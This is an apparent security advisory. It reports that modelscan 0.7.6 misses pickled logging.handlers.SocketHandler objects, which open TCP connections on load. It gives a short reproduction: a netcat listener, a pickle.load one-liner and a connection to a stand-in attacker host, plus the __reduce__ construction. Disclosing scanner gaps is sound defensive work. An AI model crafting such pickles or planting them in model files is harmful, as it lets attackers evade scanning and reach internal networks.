| # Modelscan Bypass: logging.handlers.SocketHandler SSRF | |
| ## Summary | |
| `logging.handlers.SocketHandler` is NOT in modelscan's blocklist. | |
| On unpickle, it immediately attempts a TCP connection to the specified host:port. | |
| ## Impact: HIGH (SSRF/Data Exfiltration) | |
| Attacker can exfiltrate data from internal networks by pointing the handler at internal services. | |
| ## Reproduction | |
| ```bash | |
| modelscan scan -p model.pkl | |
| # Output: "No issues found" | |
| # Start a listener: nc -l 9999 | |
| python3 -c "import pickle; pickle.load(open('model.pkl','rb'))" | |
| # TCP connection made to attacker.example.com:9999 | |
| ``` | |
| ## PoC Details | |
| - File: model.pkl (68 bytes) | |
| - Technique: `__reduce__` returns `(logging.handlers.SocketHandler, ('host', port))` | |
| - modelscan version: 0.7.6 | |